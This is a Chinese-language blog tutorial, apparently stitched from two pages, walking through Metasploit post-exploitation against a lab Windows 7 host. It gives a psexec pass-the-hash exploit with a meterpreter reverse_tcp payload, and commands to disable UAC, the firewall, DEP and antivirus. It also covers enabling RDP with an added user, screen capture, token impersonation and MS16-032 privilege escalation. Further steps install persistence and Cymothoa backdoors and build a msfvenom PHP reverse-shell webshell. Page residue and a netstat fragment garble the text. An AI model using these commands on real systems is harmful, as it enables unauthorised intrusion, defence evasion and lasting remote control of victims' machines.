    unix  2      [ ACC ]     STREAM     LISTENING     15638    /run/systemd/fsck.progress
    unix  2      [ ACC ]     STREAM     LISTENING     28954    /run/user/0/keyring/pkcs11
    unix  16     [ ]         DGRAM                    15646    /run/systemd/journal/dev-log
    unix  2      [ ACC ]     STREAM     LISTENING     23679    @/tmp/.X11-unix/X0
    unix  2      [ ACC ]     STREAM     LISTENING     15650    /run/systemd/journal/stdout
    unix  2      [ ACC ]     STREAM     LISTENING     28334    @/tmp/.X11-unix/X1
    unix  8      [ ]         DGRAM                    15653    /run/systemd/journal/socket
    unix  2      [ ACC ]     SEQPACKET  LISTENING     15656    /run/udev/control
    unix  2      [ ACC ]     STREAM     LISTENING     28203    /run/user/0/keyring/control
    unix  2      [ ACC ]     STREAM     LISTENING     18475    /run/systemd/journal/io.systemd.journal
    unix  2      [ ]         DGRAM                    27954    /run/user/0/systemd/notify
    unix  2      [ ACC ]     STREAM     LISTENING     31155    @/dbus-vfs-daemon/socket-Mqageqvy
    unix  2      [ ACC ]     STREAM     LISTENING     27958    /run/user/0/systemd/private
    unix  2      [ ACC ]     STREAM     LISTENING     27965    /run/user/0/bus
    unix  2      [ ACC ]     STREAM     LISTENING     27967    /run/user/0/gnupg/S.dirmngr
    unix  2      [ ACC ]     STREAM     LISTENING     27970    /run/user/0/gnupg/S.gpg-agent.browse
    

    如何开启呢?

    • 一、首先需要安装ufw命令
    # apt-get install ufw
    
    • 二、ufw命令使用实例如下:
    检查防火墙的状态(默认 inactive)  # ufw status
    防火墙版本                                        # ufw version
    启动ufw防火墙                                  #  ufw enable
    关闭ufw防火墙                                 #  ufw  disable
    默认禁止访问所有                             #  ufw default deny
    
    开放22/TCP端口                               #  ufw allow 22/tcp
    开放53端口(tcp/udp)                         #  ufw allow 53
    禁止外部访问                                    #  ufw deny 3306
    删除已经添加过的规则                      #  ufw delete allow 22
    允许此IP访问所有的本机端口           #   ufw allow from 192.168.1.100
    删除上面的规则                                #    ufw delete allow from 192.168.1.100
    
    查看规则,显示行号                         #   ufw status numbered
    删除第三条规则                                #   ufw delete 3
    关闭ufw                                            #   ufw disable
    禁止对8888端口的访问                    #   ufw deny 8888
    打开来自192.168.0.1的tcp请求的22端口               # ufw allow proto tcp from 192.168.0.1 to any port 22
    
    root@localhost:~# ufw allow 445
    Rules updated
    Rules updated (v6)
    

    然后继续

    msf5 exploit(windows/smb/psexec) > set SMBPass aad3b435b51404eeaad3b435b51404ee
    SMBPass => aad3b435b51404eeaad3b435b51404ee
    msf5 exploit(windows/smb/psexec) > set SMBUSER  Administrator
    SMBUSER => Administrator
    msf5 exploit(windows/smb/psexec) > set payload
    payload => windows/meterpreter/reverse_tcp
    msf5 exploit(windows/smb/psexec) > show options
    
    Module options (exploit/windows/smb/psexec):
    
       Name                  Current Setting                   Required  Description
       ----                  ---------------                   --------  -----------
       RHOSTS                192.168.86.147                    yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
       RPORT                 445                               yes       The SMB service port (TCP)
       SERVICE_DESCRIPTION                                     no        Service description to to be used on target for pretty listing
       SERVICE_DISPLAY_NAME                                    no        The service display name
       SERVICE_NAME                                            no        The service name
       SHARE                 ADMIN$                            yes       The share to connect to, can be an admin share (ADMIN$,C$,...) or a normal read/write folder share
       SMBDomain             .                                 no        The Windows domain to use for authentication
       SMBPass               aad3b435b51404eeaad3b435b51404ee  no        The password for the specified username
       SMBUser               Administrator                     no        The username to authenticate as
    
    
    Payload options (windows/meterpreter/reverse_tcp):
    
       Name      Current Setting  Required  Description
       ----      ---------------  --------  -----------
       EXITFUNC  thread           yes       Exit technique (Accepted: '', seh, thread, process, none)
       LHOST     192.168.86.136   yes       The listen address (an interface may be specified)
       LPORT     4444             yes       The listen port
    
    
    Exploit target:
    
       Id  Name
       --  ----
       0   Automatic
    
    
    msf5 exploit(windows/smb/psexec) > 
    

    win7注册表关闭UAC:

    首先按下键盘“Win + R”打“运行”窗口,然后输入“regedit”并点击确定打开注册表
    进入“注册表编辑器”窗口后,在左侧依次展开“HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/Policies/System”;
    然后在右侧分别找到“ConsentPromptBehaviorAdmin”、“EnableLUA”、“PromptOnSecureDesktop”3个项,在其位置处右键打开菜单,然后选择“修改”,把“数值数据”修改为“0”,点击确定即可

    获取到shell进行修改也可以

    进入system32目录下

    C:\Windows\system32>reg.exe ADD HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f
    reg.exe ADD HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /freg.exe ADD HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f
    The operation completed successfully.
    
    C:\Windows\system32>
    
    

    如果是乱码 先执行:chcp 65001 即可解决

    查看add语法

    C:\Windows\system32>reg add /?	
    reg add /?	
    
    REG ADD KeyName [/v ValueName | /ve] [/t Type] [/s Separator] [/d Data] [/f]
    
      KeyName  [\\Machine\]FullKey
               Machine  Name of remote machine - omitting defaults to the
                        current machine. Only HKLM and HKU are available on remote
                        machines.
               FullKey  ROOTKEY\SubKey
               ROOTKEY  [ HKLM | HKCU | HKCR | HKU | HKCC ]
               SubKey   The full name of a registry key under the selected ROOTKEY.
    
      /v       The value name, under the selected Key, to add.
    
      /ve      adds an empty value name (Default) for the key.
    
      /t       RegKey data types
               [ REG_SZ    | REG_MULTI_SZ | REG_EXPAND_SZ |
                 REG_DWORD | REG_QWORD    | REG_BINARY    | REG_NONE ]
               If omitted, REG_SZ is assumed.
    
      /s       Specify one character that you use as the separator in your data
               string for REG_MULTI_SZ. If omitted, use "\0" as the separator.
    
      /d       The data to assign to the registry ValueName being added.
    
      /f       Force overwriting the existing registry entry without prompt.
    
    Examples:
    
      REG ADD \\ABC\HKLM\Software\MyCo
        Adds a key HKLM\Software\MyCo on remote machine ABC
    
      REG ADD HKLM\Software\MyCo /v Data /t REG_BINARY /d fe340ead
        Adds a value (name: Data, type: REG_BINARY, data: fe340ead)
    
      REG ADD HKLM\Software\MyCo /v MRU /t REG_MULTI_SZ /d fax\0mail
        Adds a value (name: MRU, type: REG_MULTI_SZ, data: fax\0mail\0\0)
    
      REG ADD HKLM\Software\MyCo /v Path /t REG_EXPAND_SZ /d ^%systemroot^%
        Adds a value (name: Path, type: REG_EXPAND_SZ, data: %systemroot%)
        Notice:  Use the caret symbol ( ^ ) inside the expand string
    
    C:\Windows\system32>
    
    /v  你要修改什么
    
    /t  所选的数据类型
    
    /d 要分配给添加的注册表ValueName的数据
    
    /f 不用提示就强行覆盖现有的注册表项
    

    既然提示成功了 就去查看一下

    在这里插入图片描述
    很好 很nice

    有一个辅助模块 对弱口令 进行猜解

    auxiliary/analyze/jtr_crak_fast
    

    关闭杀毒软件和防火墙

    需要进入windows-->关闭防火墙
    netsh advfirewall set allprofiles state off (管理员及以上权限)
    
    需要进入windows-->关闭 Denfender (windows 自带服务)
    net stop windefend(这里要看服务名称)
    需要进入windows->关闭DEP (数据执行保护-->windows 安全机制)
    bcdedit.exe /set {current} nx AlwaysOff
    meterpreter模块-->关闭杀毒软件
    run killav
    run post/windows/manage/killava
    
    

    开始操作

    关闭防火墙

    确认win7的防火墙是打开的

    在这里插入图片描述

    进入shell

    C:\Windows\system32>netsh advfirewall set allprofiles state off
    netsh advfirewall set allprofiles state off
    Ok.
    
    
    C:\Windows\system32>
    

    在这里插入图片描述
    关闭完成

    查看服务是否开启

    services.msc
    
    C:\Windows\system32>net stop windefend
    net stop windefend
    The service name is invalid.
    
    More help is available by typing NET HELPMSG 2185.
    

    因为靶机上没有这个服务。。

    关闭DEP

    C:\Windows\system32>bcdedit.exe /set {current} nx AlwaysOff
    bcdedit.exe /set {current} nx AlwaysOff
    The operation completed successfully.
    
    C:\Windows\system32>
    

    关闭杀毒软件

    meterpreter > run post/windows/manage/killava
    
    [-] The specified meterpreter session script could not be found: post/windows/manage/killava
    meterpreter > 
    

    因为靶机上没有杀毒软件…

    开启远程桌面

    run post/windows/manage/enable_rdp 
    (清楚痕迹: run multi_console_command -h 、 run multi_console_command -r /root/.msf4/loot/20200921222458_default_192.168.2.143_host.windows.cle_083768.txt)
    run getgui -e (run getgui -h)
    开启远程桌面并添加一个新用户 :
    run getgui -u bean -p ean
    开启远程桌面并绑定在 8888 端口:
    run getgui -e -f 8888
    

    查看靶机是否开启远程桌面

    在这里插入图片描述
    看他有没有开启3389远程桌面端口

    在这里插入图片描述
    这里也可以看到他是没有开启的

    执行 run post/windows/manage/enable_rdp

    在这里插入图片描述
    可以看到已经开启了

    关闭远程桌面run multi_console_command -h 查看帮助命令

    关闭远程桌面run multi_console_command -r /root/.msf4/loot/20201124090617_default_192.168.86.156_host.windows.cle_641376.txt

    meterpreter > run post/windows/manage/enable_rdp
    
    [*] Enabling Remote Desktop
    [*] 	RDP is already enabled
    [*] Setting Terminal Services service startup mode
    [*] 	Terminal Services service is already set to auto
    [*] 	Opening port in local firewall if necessary
    [*] For cleanup execute Meterpreter resource file: /root/.msf4/loot/20201124090617_default_192.168.86.156_host.windows.cle_641376.txt
    meterpreter > run multi_console_command -h
    Console Multi Command Execution Meterpreter Script 
    
    OPTIONS:
    
        -c <opt>  Commands to execute. The command must be enclosed in double quotes and separated by a comma.
        -h        Help menu.
        -r <opt>  Text file with list of commands, one per line.
        -s        Hide commands output for work in background sessions
    
    meterpreter > run multi_console_command -r /root/.msf4/loot/20201124090617_default_192.168.86.156_host.windows.cle_641376.txt
    [*] Running Command List ...
    [*] 	Running command execute -H -f cmd.exe -a "/c 'netsh firewall set service type = remotedesktop mode = enable'"
    Process 3584 created.
    
    

    另一种方式:run getgui

    meterpreter > run getgui -h
    
    [!] Meterpreter scripts are deprecated. Try post/windows/manage/enable_rdp.
    [!] Example: run post/windows/manage/enable_rdp OPTION=value [...]
    Windows Remote Desktop Enabler Meterpreter Script
    Usage: getgui -u <username> -p <password>
    Or:    getgui -e
    
    OPTIONS:
    
        -e        Enable RDP only.
        -f <opt>  Forward RDP Connection.
        -h        Help menu.
        -p <opt>  The Password of the user to add.
        -u <opt>  The Username of the user to add.
    meterpreter > run getgui -e
    
    [!] Meterpreter scripts are deprecated. Try post/windows/manage/enable_rdp.
    [!] Example: run post/windows/manage/enable_rdp OPTION=value [...]
    [*] Windows Remote Desktop Configuration Meterpreter Script by Darkoperator
    [*] Carlos Perez carlos_perez@darkoperator.com
    [*] Enabling Remote Desktop
    [*] 	RDP is already enabled
    [*] Setting Terminal Services service startup mode
    [*] 	Terminal Services service is already set to auto
    [*] 	Opening port in local firewall if necessary
    [*] For cleanup use command: run multi_console_command -r /root/.msf4/logs/scripts/getgui/clean_up__20201124.1449.rc
    meterpreter > run multi_console_command -r /root/.msf4/logs/scripts/getgui/clean_up__20201124.1449.rc
    [*] Running Command List ...
    [*] 	Running command execute -H -f cmd.exe -a "/c 'netsh firewall set service type = remotedesktop mode = enable'"
    Process 1804 created.
    meterpreter > 
    
    

    开启远程桌面并添加一个新用户 :
    run getgui -u bean -p ean
    开启远程桌面并绑定在 8888 端口:
    run getgui -e -f 8888

    linux 远程连接windows命令

    rdesktop

    root@localhost:~# rdesktop -h
    rdesktop: A Remote Desktop Protocol client.
    Version 1.8.6. Copyright (C) 1999-2011 Matthew Chapman et al.
    See http://www.rdesktop.org/ for more information.
    
    Usage: rdesktop [options] server[:port]
       -u: user name
       -d: domain
       -s: shell / seamless application to start remotly
       -c: working directory
       -p: password (- to prompt)
       -n: client hostname
       -k: keyboard layout on server (en-us, de, sv, etc.)
       -g: desktop geometry (WxH)
       -i: enables smartcard authentication, password is used as pin
       -f: full-screen mode
       -b: force bitmap updates
       -L: local codepage
       -A: path to SeamlessRDP shell, this enables SeamlessRDP mode
       -B: use BackingStore of X-server (if available)
       -e: disable encryption (French TS)
       -E: disable encryption from client to server
       -m: do not send motion events
       -C: use private colour map
       -D: hide window manager decorations
       -K: keep window manager key bindings
       -S: caption button size (single application mode)
       -T: window title
       -t: disable use of remote ctrl
       -N: enable numlock syncronization
       -X: embed into another window with a given id.
       -a: connection colour depth
       -z: enable rdp compression
       -x: RDP5 experience (m[odem 28.8], b[roadband], l[an] or hex nr.)
       -P: use persistent bitmap caching
       -r: enable specified device redirection (this flag can be repeated)
             '-r comport:COM1=/dev/ttyS0': enable serial redirection of /dev/ttyS0 to COM1
                 or      COM1=/dev/ttyS0,COM2=/dev/ttyS1
             '-r disk:floppy=/mnt/floppy': enable redirection of /mnt/floppy to 'floppy' share
                 or   'floppy=/mnt/floppy,cdrom=/mnt/cdrom'
             '-r clientname=<client name>': Set the client name displayed
                 for redirected disks
             '-r lptport:LPT1=/dev/lp0': enable parallel redirection of /dev/lp0 to LPT1
                 or      LPT1=/dev/lp0,LPT2=/dev/lp1
             '-r printer:mydeskjet': enable printer redirection
                 or      mydeskjet="HP LaserJet IIIP" to enter server driver as well
             '-r sound:[local[:driver[:device]]|off|remote]': enable sound redirection
                         remote would leave sound on server
                         available drivers for 'local':
                         alsa:	ALSA output driver, default device: default
             '-r clipboard:[off|PRIMARYCLIPBOARD|CLIPBOARD]': enable clipboard
                          redirection.
                          'PRIMARYCLIPBOARD' looks at both PRIMARY and CLIPBOARD
                          when sending data to server.
                          'CLIPBOARD' looks at only CLIPBOARD.
             '-r scard[:"Scard Name"="Alias Name[;Vendor Name]"[,...]]
              example: -r scard:"eToken PRO 00 00"="AKS ifdh 0"
                       "eToken PRO 00 00" -> Device in Linux/Unix enviroment
                       "AKS ifdh 0"       -> Device shown in Windows enviroment 
              example: -r scard:"eToken PRO 00 00"="AKS ifdh 0;AKS"
                       "eToken PRO 00 00" -> Device in Linux/Unix enviroment
                       "AKS ifdh 0"       -> Device shown in Windows enviroment 
                       "AKS"              -> Device vendor name                 
       -0: attach to console
       -4: use RDP version 4
       -5: use RDP version 5 (default)
       -o: name=value: Adds an additional option to rdesktop.
               sc-csp-name        Specifies the Crypto Service Provider name which
                                  is used to authenticate the user by smartcard
               sc-container-name  Specifies the container name, this is usally the username
               sc-reader-name     Smartcard reader name to use
               sc-card-name       Specifies the card name of the smartcard to use
    
    root@localhost:~# 
    

    在这里插入图片描述

    -u 它的用户名
    
    -p 它的密码
    
    后面在加上它的ip
    

    当你没有权限开启它的远程桌面时

    load espia(加载插件)
    
    screengrab
    

    可以尝试这两个命令 进行对它桌面的截图

    meterpreter > screengrab
    Screenshot saved to: /root/CMkdxkkF.jpeg
    

    使用打开图片的命令

    eog /root/CMkdxkkF.jpeg

    在这里插入图片描述

    尝试插件截图

    
    meterpreter > load espia
    Loading extension espia...Success.
    
    meterpreter > ?
    
    Core Commands
    =============
    
        Command                   Description
        -------                   -----------
        ?                         Help menu
        background                Backgrounds the current session
        bg                        Alias for background
        bgkill                    Kills a background meterpreter script
        bglist                    Lists running background scripts
        bgrun                     Executes a meterpreter script as a background thread
        channel                   Displays information or control active channels
        close                     Closes a channel
        disable_unicode_encoding  Disables encoding of unicode strings
        enable_unicode_encoding   Enables encoding of unicode strings
        exit                      Terminate the meterpreter session
        get_timeouts              Get the current session timeout values
        guid                      Get the session GUID
        help                      Help menu
        info                      Displays information about a Post module
        irb                       Open an interactive Ruby shell on the current session
        load                      Load one or more meterpreter extensions
        machine_id                Get the MSF ID of the machine attached to the session
        migrate                   Migrate the server to another process
        pivot                     Manage pivot listeners
        pry                       Open the Pry debugger on the current session
        quit                      Terminate the meterpreter session
        read                      Reads data from a channel
        resource                  Run the commands stored in a file
        run                       Executes a meterpreter script or Post module
        secure                    (Re)Negotiate TLV packet encryption on the session
        sessions                  Quickly switch to another session
        set_timeouts              Set the current session timeout values
        sleep                     Force Meterpreter to go quiet, then re-establish session.
        transport                 Change the current transport mechanism
        use                       Deprecated alias for "load"
        uuid                      Get the UUID for the current session
        write                     Writes data to a channel
    
    
    Stdapi: File system Commands
    ============================
    
        Command       Description
        -------       -----------
        cat           Read the contents of a file to the screen
        cd            Change directory
        checksum      Retrieve the checksum of a file
        cp            Copy source to destination
        dir           List files (alias for ls)
        download      Download a file or directory
        edit          Edit a file
        getlwd        Print local working directory
        getwd         Print working directory
        lcd           Change local working directory
        lls           List local files
        lpwd          Print local working directory
        ls            List files
        mkdir         Make directory
        mv            Move source to destination
        pwd           Print working directory
        rm            Delete the specified file
        rmdir         Remove directory
        search        Search for files
        show_mount    List all mount points/logical drives
        upload        Upload a file or directory
    
    
    Stdapi: Networking Commands
    ===========================
    
        Command       Description
        -------       -----------
        arp           Display the host ARP cache
        getproxy      Display the current proxy configuration
        ifconfig      Display interfaces
        ipconfig      Display interfaces
        netstat       Display the network connections
        portfwd       Forward a local port to a remote service
        resolve       Resolve a set of host names on the target
        route         View and modify the routing table
    
    
    Stdapi: System Commands
    =======================
    
        Command       Description
        -------       -----------
        clearev       Clear the event log
        drop_token    Relinquishes any active impersonation token.
        execute       Execute a command
        getenv        Get one or more environment variable values
        getpid        Get the current process identifier
        getprivs      Attempt to enable all privileges available to the current process
        getsid        Get the SID of the user that the server is running as
        getuid        Get the user that the server is running as
        kill          Terminate a process
        localtime     Displays the target system's local date and time
        pgrep         Filter processes by name
        pkill         Terminate processes by name
        ps            List running processes
        reboot        Reboots the remote computer
        reg           Modify and interact with the remote registry
        rev2self      Calls RevertToSelf() on the remote machine
        shell         Drop into a system command shell
        shutdown      Shuts down the remote computer
        steal_token   Attempts to steal an impersonation token from the target process
        suspend       Suspends or resumes a list of processes
        sysinfo       Gets information about the remote system, such as OS
    
    
    Stdapi: User interface Commands
    ===============================
    
        Command        Description
        -------        -----------
        enumdesktops   List all accessible desktops and window stations
        getdesktop     Get the current meterpreter desktop
        idletime       Returns the number of seconds the remote user has been idle
        keyboard_send  Send keystrokes
        keyevent       Send key events
        keyscan_dump   Dump the keystroke buffer
        keyscan_start  Start capturing keystrokes
        keyscan_stop   Stop capturing keystrokes
        mouse          Send mouse events
        screenshare    Watch the remote user's desktop in real time
        screenshot     Grab a screenshot of the interactive desktop
        setdesktop     Change the meterpreters current desktop
        uictl          Control some of the user interface components
    
    
    Stdapi: Webcam Commands
    =======================
    
        Command        Description
        -------        -----------
        record_mic     Record audio from the default microphone for X seconds
        webcam_chat    Start a video chat
        webcam_list    List webcams
        webcam_snap    Take a snapshot from the specified webcam
        webcam_stream  Play a video stream from the specified webcam
    
    
    Stdapi: Audio Output Commands
    =============================
    
        Command       Description
        -------       -----------
        play          play a waveform audio file (.wav) on the target system
    
    
    Priv: Elevate Commands
    ======================
    
        Command       Description
        -------       -----------
        getsystem     Attempt to elevate your privilege to that of local system.
    
    
    Priv: Password database Commands
    ================================
    
        Command       Description
        -------       -----------
        hashdump      Dumps the contents of the SAM database
    
    
    Priv: Timestomp Commands
    ========================
    
        Command       Description
        -------       -----------
        timestomp     Manipulate file MACE attributes
    
    
    Espia Commands
    ==============
    
        Command       Description
        -------       -----------
        screengrab    Attempt to grab screen shot from process's active desktop
    
    meterpreter > screengrab
    Screenshot saved to: /root/swNERpKa.jpeg
    
    

    同样进行打开截图

    eog /root/swNERpKa.jpeg

    在这里插入图片描述

    令牌假冒

    假冒令牌可以假冒一个网络中的另一个用户进行各种操作。令牌包括登录会话的安全信息,如用户身份识别、用户组和用户权限。当一个用户登录windows系统时,他被给定的一个访问令牌作为他认证会话的一部分。例如,一个入侵用户可能需要以域管理员处理一个特定任务,当他用令牌便可假冒域管理员进行工作。

    概念:

    • sessions (登陆终端会产生)
    • windows station (窗口站,每一个进程都会产生)
    • desktop (常用的桌面)
    • login sessions (不同账号登录产生不同的session,代表不同账号的权限)

    tokens简介:

    与进程相关联,进程创建时根据login session分配对应token,含有该进程用户账号、组信息、权限信息等。
    用户每次登录,产生loginsession分配对应token.
    访问资源时提交token进行身份验证,类似web cookie
    Delegrate Token : 交互式登录
    Impersonate Token : 非交互登录会话

    incognito :
    
    独立软件,被集成到 msf 的 meterpreter 中
    不用获取账号密码窃取 token 将自己伪装成合法用户
    只用于域环境下提权渗透多操作系统
    
    meterpreter > getuid
    Server username: NT AUTHORITY\SYSTEM
    meterpreter > use incognito
    Loading extension incognito...Success.
    meterpreter > ?
    
    
    meterpreter > list_tokens -h
    Usage: list_tokens <list_order_option>
    
    Lists all accessible tokens and their privilege level
    
    OPTIONS:
    
        -g        List tokens by unique groupname
        -u        List tokens by unique username
    
    meterpreter > list_tokens -u
    
    Delegation Tokens Available
    ========================================
    NT AUTHORITY\LOCAL SERVICE
    NT AUTHORITY\NETWORK SERVICE
    NT AUTHORITY\SYSTEM
    WORK-PC\Administrator
    
    Impersonation Tokens Available
    ========================================
    NT AUTHORITY\ANONYMOUS LOGON
    
    展开全文
  • MSF后渗透攻击

    2021-03-05 22:00:18
    后渗透攻击:后门 在完成了权限9提升,我们就该建立后门(backdoor)了,以维持对目标主机的控制。这样即使我们所利用的漏洞被补丁程序修复,还能通过后门继续控制目标系统。 操作系统后门 0x1.Cymothoa后门 这是...

    进程迁移

    刚获得shell时,该shell是极其脆弱和容易受到攻击的。所以第一步就是要移动这个shell,把它和目标机中的一个稳定的进程绑定在一块。
    1.ps命令获取目标机正在运行的进程。
    2.getpid获得shell的进程号(PID)
    3.通过进程号得知该shell的进程名。
    4.输入migrate + 被绑定进程的PID
    5.再次输出getpid,发现进程号已经变成需要迁移的进程号,进程迁移成功

    系统命令

    shell连接稳定之后,开始收集系统信息
    1.sysinfo命令查看目标机的系统信息
    2.route命令查看目标机完整的网络设置
    3.background命令将当前会话放到后台
    4.getuid命令查看目标机上已渗透成功的用户
    5.run post/windows/manage/killav命令关闭目标机的杀毒软件
    6.run post/windows/manage/enable_rdp命令启动目标机的远程桌面协议
    7.run post/windows/gather/enum_logged_on_users列举当前登录的用户
    8.run post/windows/gather/enum_applications列举装在目标机器上的应用程序
    9.shell命令进入目标机的shell下

    提权

    在渗透的过程中我们可能只是回去到了一个普通的Guest或User权限,要想进行下一步的渗透,就必须将访问权限从Guest提升到User,再到Administrator,最后System权限。

    提权分为以下两种:

    • 纵向提权:低权限角色获得高权限角色的权限
    • 横向提权:获得同级别角色的权限

    所以在成功获得目标机Meterpreter shell之后,首先应该知道我们现在已经拥有得权限
    1.在Meterpreter shell下输入shell,进入目标机的CMD命令行
    2.输入whoami /groups查看我们当前的权限

    利用WMIC实战MS16-032本地溢出漏洞

    1.首先输入getuid命令查看已经获取的权限
    2.接着查看系统的已打补丁:使用systeminfo命令或者查询C:\windows\里留下的“.log”文件
    3.利用WMIC命令列出已安装的补丁
    4.
    4.然后去找提权的EXP,使用没有编号的EXP进行提权
    5.接下来准备提权,将Meterpreter会话转为后台执行(background)然后搜索MS16-032
    6.选中对应的exp,然后指定session进行提权操作,set session 1
    7.run
    8.若提权成功,根据返回的信息可以看到创建了一个新的session,使用getuid可以查看当前的权限

    令牌窃取

    令牌(Token)就是系统的临时密钥,相当于是账户名和密码。用来决定是否允许这次请求和判断这次的请求是属于哪一个用户的。它允许你在不提供密码或其他凭证的前提下访问网络和系统资源。这些令牌将一直存在于系统中,除非系统重启。

    令牌窃取的原理就是攻击者将认证服务器(AS)颁发给服务器的客户端的令牌窃取掉。

    实战利用
    1.先输入use incognito命令,接着出入list_tokens -u列出可用的Token

    • Delegation Tokens:授权令牌,它支持交互式登录(例:可用通过远程桌面登录访问)
    • Impersonation Tokens:模拟令牌,它是非交互式的访问。

    2.我们可以看到令牌的格式是这样的:主机名/用户名
    3.在incognito中调用impersonate_token命令假冒已存在的用户进行攻击

    impersonate_token 主机名\\用户名
    

    4.运行成功后在Meterpreter shell下运行whoami就可以看到我们现在就是假冒的那个管理员了。

    后渗透攻击:后门

    在完成了权限9提升后,我们就该建立后门(backdoor)了,以维持对目标主机的控制。这样即使我们所利用的漏洞被补丁程序修复,还能通过后门继续控制目标系统。

    操作系统后门
    Cymothoa后门
    这是一款可以将ShellCode注入现有进程(即插进程)的后门工具。借助这种注入手段,它能够将ShellCode伪装成常规程序。它所注入的后门程序应当能够与被注入的程序(进程)共存,以免引起管理和维护人员的怀疑。将ShellCode注入其他进程,还有另外一个优势:即使目标系统的安全防护工具能够监视到可执行程序的完整性,只要他不检测内存,就发现不了(插进程)的后门程序的进程。

    1.首先查看程序的PID

    • Linux:ps -aux
    • Windows:tasklist

    2.在使用Cymothoa时,需通过-p选项指定目标进程的PID,通过-s选项指定ShellCode的编号
    3.成功渗透目标主机后,就可以吧Cymothoa的可执行程序复制到目标主机上,生成后门程序。

    Cymothoa -p 982 -s 1 -y 4444    //选择PID为982的进程为宿主进程,选用第一类ShellCode,指定Payload的服务端口为4444
    

    4.成功后就能通过以下命令连接目标主机的后门(4444端口)

    nc -nvv 192.168.x.x 4444
    

    Persistence后门
    persistence是一款使用安装自启动方式的持久性后门程序,我们可以利用他创建注册和文件
    1.使用以下命令可以创建一个持久性的后门

    Meterpreter > run persistence -A -S -U -i 60 -p 4321 -r 192.168.x.x
    
    • A:自动启动Payload程序
    • S:系统启动时自动加载
    • U:用户登录是自动启动
    • X:开机时自动加载
    • i: 回连的时间间隔
    • P:监听反向连接端口号
    • r: 目标机器IP地址

    2.创建成功会看到Meterpreter会话已经在目标机器系统中建立起来了。
    3.输入sessions可以查看已经成功获取的会话

    Web后门

    Web后门泛指Webshell,其实就是一段网页代码,最熟悉的包括:PHP,ASP,ASP.NET,JSP代码等。

    1.Meterpreter后门
    在msf中,有一个名为PHP Meterpreter 的Payload,利用这个模式可以创建有Meterpreter功能的PHP Webshell

    • 使用msfvenom创建一个webshell.php
    • 上传webshell.php到目标服务器
    • 运行Metasploit multi-handler开始监听
    • 访问webshell.php页面
    • 获得反弹大的Metasploit Shell

    1.通过Metasploit 的msfvenom工具制作 PHP Meterpreter

    msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.x.x -f raw > webshell.php
    
    • -p参数用于设置Payload
    • -f 参数用于设置输出文件格式
      在这里插入图片描述

    2.然后将webshell.php上传到目标服务器。
    3.接着启动msfconsole使用以下命令设置监听
    在这里插入图片描述

    4.然后打开http://ip/webshell.php
    5.回到msf下面,可以看到服务器已经反弹成功,可以接着进行更深入的渗透目标主机

    展开全文

空空如也

空空如也

1 2 3 4 5 ... 20
收藏数 7,273
精华内容 2,909
关键字:

msf后渗透